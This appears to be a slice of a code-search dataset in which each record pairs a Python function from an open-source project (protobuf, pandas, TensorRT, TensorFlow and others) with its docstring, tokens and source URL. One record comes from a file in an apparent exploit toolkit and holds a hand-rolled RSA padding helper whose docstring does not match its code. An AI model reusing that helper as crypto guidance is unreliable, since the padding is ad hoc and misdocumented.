[ "An", "InspectionPadawan", "can", "be", "used", "instead", "of", "V8Heap", "even", "though", "it", "does", "not", "inherit", "from", "V8Heap", "(", "aka", ".", "mixin", ")", "." ]
def __getattr__(self, name): """An InspectionPadawan can be used instead of V8Heap, even though it does not inherit from V8Heap (aka. mixin).""" return getattr(self.heap, name)
[ "def", "__getattr__", "(", "self", ",", "name", ")", ":", "return", "getattr", "(", "self", ".", "heap", ",", "name", ")" ]
https://github.com/domino-team/openwrt-cc/blob/8b181297c34d14d3ca521cc9f31430d561dbc688/package/gli-pub/openwrt-node-packages-master/node/node-v6.9.1/deps/v8/tools/grokdump.py#L1785-L1788
BSVino/DoubleAction
c550b168a3e919926c198c30240f506538b92e75
mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/reflection.py
python
_AddSerializeToStringMethod
(message_descriptor, cls)
Helper for _AddMessageMethods().
Helper for _AddMessageMethods().
[ "Helper", "for", "_AddMessageMethods", "()", "." ]
def _AddSerializeToStringMethod(message_descriptor, cls): """Helper for _AddMessageMethods().""" def SerializeToString(self): # Check if the message has all of its required fields set. errors = [] if not self.IsInitialized(): raise message_mod.EncodeError( 'Message is missing required f...
[ "def", "_AddSerializeToStringMethod", "(", "message_descriptor", ",", "cls", ")", ":", "def", "SerializeToString", "(", "self", ")", ":", "# Check if the message has all of its required fields set.", "errors", "=", "[", "]", "if", "not", "self", ".", "IsInitialized", ...
https://github.com/BSVino/DoubleAction/blob/c550b168a3e919926c198c30240f506538b92e75/mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/reflection.py#L787-L798
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unicode_support.py
python
_Py_ISALPHA
(ch)
return _Py_ctype_table[_Py_CHARMASK(ch)] & _PY_CTF.ALPHA
Equivalent to the CPython macro `Py_ISALPHA()`
Equivalent to the CPython macro `Py_ISALPHA()`
[ "Equivalent", "to", "the", "CPython", "macro", "Py_ISALPHA", "()" ]
def _Py_ISALPHA(ch): """ Equivalent to the CPython macro `Py_ISALPHA()` """ return _Py_ctype_table[_Py_CHARMASK(ch)] & _PY_CTF.ALPHA
[ "def", "_Py_ISALPHA", "(", "ch", ")", ":", "return", "_Py_ctype_table", "[", "_Py_CHARMASK", "(", "ch", ")", "]", "&", "_PY_CTF", ".", "ALPHA" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/numba/unicode_support.py#L695-L699
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
Framework/PythonInterface/plugins/algorithms/ReflectometrySliceEventWorkspace.py
python
ReflectometrySliceEventWorkspace._get_property_or_default_as_datetime
(self, property_name, default_value, relative_start)
Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert it to a datetime by adding it to the given relative_start time.
Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert it to a datetime by adding it to the given relative_start time.
[ "Get", "a", "property", "value", "as", "a", "DateAndTime", ".", "Return", "the", "given", "default", "value", "if", "the", "property", "is", "not", "set", ".", "If", "the", "property", "is", "in", "datetime", "format", "return", "it", "directly", ".", "O...
def _get_property_or_default_as_datetime(self, property_name, default_value, relative_start): """Get a property value as a DateAndTime. Return the given default value if the property is not set. If the property is in datetime format, return it directly. Otherwise if it is in seconds, then convert ...
[ "def", "_get_property_or_default_as_datetime", "(", "self", ",", "property_name", ",", "default_value", ",", "relative_start", ")", ":", "if", "self", ".", "getProperty", "(", "property_name", ")", ".", "isDefault", ":", "return", "default_value", "else", ":", "va...
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/Framework/PythonInterface/plugins/algorithms/ReflectometrySliceEventWorkspace.py#L266-L279
moderngl/moderngl
32fe79927e02b0fa893b3603d677bdae39771e14
moderngl/texture.py
python
Texture.components
(self)
return self._components
int: The number of components of the texture.
int: The number of components of the texture.
[ "int", ":", "The", "number", "of", "components", "of", "the", "texture", "." ]
def components(self) -> int: ''' int: The number of components of the texture. ''' return self._components
[ "def", "components", "(", "self", ")", "->", "int", ":", "return", "self", ".", "_components" ]
https://github.com/moderngl/moderngl/blob/32fe79927e02b0fa893b3603d677bdae39771e14/moderngl/texture.py#L269-L274
chihyaoma/regretful-agent
5caf7b500667981bc7064e4d31b49e83db64c95a
scripts/precompute_img_features.py
python
transform_img
(im)
return blob
Prep opencv 3 channel image for the network
Prep opencv 3 channel image for the network
[ "Prep", "opencv", "3", "channel", "image", "for", "the", "network" ]
def transform_img(im): ''' Prep opencv 3 channel image for the network ''' im_orig = im.astype(np.float32, copy=True) im_orig -= np.array([[[103.1, 115.9, 123.2]]]) # BGR pixel mean blob = np.zeros((1, im.shape[0], im.shape[1], 3), dtype=np.float32) blob[0, :, :, :] = im_orig blob = blob.transpo...
[ "def", "transform_img", "(", "im", ")", ":", "im_orig", "=", "im", ".", "astype", "(", "np", ".", "float32", ",", "copy", "=", "True", ")", "im_orig", "-=", "np", ".", "array", "(", "[", "[", "[", "103.1", ",", "115.9", ",", "123.2", "]", "]", ...
https://github.com/chihyaoma/regretful-agent/blob/5caf7b500667981bc7064e4d31b49e83db64c95a/scripts/precompute_img_features.py#L60-L67
alexgkendall/caffe-posenet
62aafbd7c45df91acdba14f5d1406d8295c2bc6f
scripts/cpp_lint.py
python
ProcessLine
(filename, file_extension, clean_lines, line, include_state, function_state, nesting_state, error, extra_check_functions=[])
Processes a single line in the file. Args: filename: Filename of the file that is being processed. file_extension: The extension (dot not included) of the file. clean_lines: An array of strings, each representing a line of the file, with comments stripped. line: Number of line being ...
Processes a single line in the file.
[ "Processes", "a", "single", "line", "in", "the", "file", "." ]
def ProcessLine(filename, file_extension, clean_lines, line, include_state, function_state, nesting_state, error, extra_check_functions=[]): """Processes a single line in the file. Args: filename: Filename of the file that is being processed. file_extension: The extension (d...
[ "def", "ProcessLine", "(", "filename", ",", "file_extension", ",", "clean_lines", ",", "line", ",", "include_state", ",", "function_state", ",", "nesting_state", ",", "error", ",", "extra_check_functions", "=", "[", "]", ")", ":", "raw_lines", "=", "clean_lines"...
https://github.com/alexgkendall/caffe-posenet/blob/62aafbd7c45df91acdba14f5d1406d8295c2bc6f/scripts/cpp_lint.py#L4600-L4642
apache/madlib
be297fe6beada0640f93317e8948834032718e32
src/madpack/upgrade_util.py
python
ScriptCleaner._clean_function
(self)
@brief Remove "drop function" statements and rewrite "create function" statements in the sql script @note We don't drop any function
[]
def _clean_function(self): """ @brief Remove "drop function" statements and rewrite "create function" statements in the sql script @note We don't drop any function """ # remove 'drop function' pattern = re.compile(r"""DROP(\s+)FUNCTION(.*?);""", re.DOTALL | re.IGN...
[ "def", "_clean_function", "(", "self", ")", ":", "# remove 'drop function'", "pattern", "=", "re", ".", "compile", "(", "r\"\"\"DROP(\\s+)FUNCTION(.*?);\"\"\"", ",", "re", ".", "DOTALL", "|", "re", ".", "IGNORECASE", ")", "self", ".", "_sql", "=", "re", ".", ...
https://github.com/apache/madlib/blob/be297fe6beada0640f93317e8948834032718e32/src/madpack/upgrade_util.py#L1284-L1295
NVIDIA/TensorRT
42805f078052daad1a98bc5965974fcffaad0960
samples/python/yolov3_onnx/data_processing.py
python
PostprocessYOLO.__init__
(self, yolo_masks, yolo_anchors, obj_threshold, nms_threshold, yolo_input_resolution)
Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the case of (large) YOLOv3. Keyword arguments: yolo_masks -- a list of 3 three-dimensional tuples for the YOLO masks yolo_anchors -- a list of 9 two-dimensional tuples for t...
Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the case of (large) YOLOv3.
[ "Initialize", "with", "all", "values", "that", "will", "be", "kept", "when", "processing", "several", "frames", ".", "Assuming", "3", "outputs", "of", "the", "network", "in", "the", "case", "of", "(", "large", ")", "YOLOv3", "." ]
def __init__(self, yolo_masks, yolo_anchors, obj_threshold, nms_threshold, yolo_input_resolution): """Initialize with all values that will be kept when processing several frames. Assuming 3 outputs of the network in the...
[ "def", "__init__", "(", "self", ",", "yolo_masks", ",", "yolo_anchors", ",", "obj_threshold", ",", "nms_threshold", ",", "yolo_input_resolution", ")", ":", "self", ".", "masks", "=", "yolo_masks", "self", ".", "anchors", "=", "yolo_anchors", "self", ".", "obje...
https://github.com/NVIDIA/TensorRT/blob/42805f078052daad1a98bc5965974fcffaad0960/samples/python/yolov3_onnx/data_processing.py#L106-L128
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/pandas/io/sql.py
python
SQLDatabase.to_sql
( self, frame, name, if_exists="fail", index=True, index_label=None, schema=None, chunksize=None, dtype=None, method=None, )
Write records stored in a DataFrame to a SQL database. Parameters ---------- frame : DataFrame name : string Name of SQL table. if_exists : {'fail', 'replace', 'append'}, default 'fail' - fail: If table exists, do nothing. - replace: If table ...
Write records stored in a DataFrame to a SQL database.
[ "Write", "records", "stored", "in", "a", "DataFrame", "to", "a", "SQL", "database", "." ]
def to_sql( self, frame, name, if_exists="fail", index=True, index_label=None, schema=None, chunksize=None, dtype=None, method=None, ): """ Write records stored in a DataFrame to a SQL database. Parameters ...
[ "def", "to_sql", "(", "self", ",", "frame", ",", "name", ",", "if_exists", "=", "\"fail\"", ",", "index", "=", "True", ",", "index_label", "=", "None", ",", "schema", "=", "None", ",", "chunksize", "=", "None", ",", "dtype", "=", "None", ",", "method...
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Gems/CloudGemMetric/v1/AWS/python/windows/Lib/pandas/io/sql.py#L1243-L1333
RamadhanAmizudin/malware
2c6c53c8b0d556f5d8078d6ca0fc4448f4697cf1
Fuzzbunch/Resources/ST1.14/Tools/sentrytribe.py
python
pad_for_rsa
(data)
return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data
Pad data out to the crypto block size (8 bytes)
Pad data out to the crypto block size (8 bytes)
[ "Pad", "data", "out", "to", "the", "crypto", "block", "size", "(", "8", "bytes", ")" ]
def pad_for_rsa(data): """ Pad data out to the crypto block size (8 bytes) """ data = data + chr(0x00)*(16-len(data)) return chr(0x01) + chr(0xff)*(127-len(data)-2) + chr(0x00) + data
[ "def", "pad_for_rsa", "(", "data", ")", ":", "data", "=", "data", "+", "chr", "(", "0x00", ")", "*", "(", "16", "-", "len", "(", "data", ")", ")", "return", "chr", "(", "0x01", ")", "+", "chr", "(", "0xff", ")", "*", "(", "127", "-", "len", ...
https://github.com/RamadhanAmizudin/malware/blob/2c6c53c8b0d556f5d8078d6ca0fc4448f4697cf1/Fuzzbunch/Resources/ST1.14/Tools/sentrytribe.py#L54-L59
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/python/ops/data_flow_ops.py
python
ConditionalAccumulatorBase.dtype
(self)
return self._dtype
The datatype of the gradients accumulated by this accumulator.
The datatype of the gradients accumulated by this accumulator.
[ "The", "datatype", "of", "the", "gradients", "accumulated", "by", "this", "accumulator", "." ]
def dtype(self): """The datatype of the gradients accumulated by this accumulator.""" return self._dtype
[ "def", "dtype", "(", "self", ")", ":", "return", "self", ".", "_dtype" ]
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/python/ops/data_flow_ops.py#L1124-L1126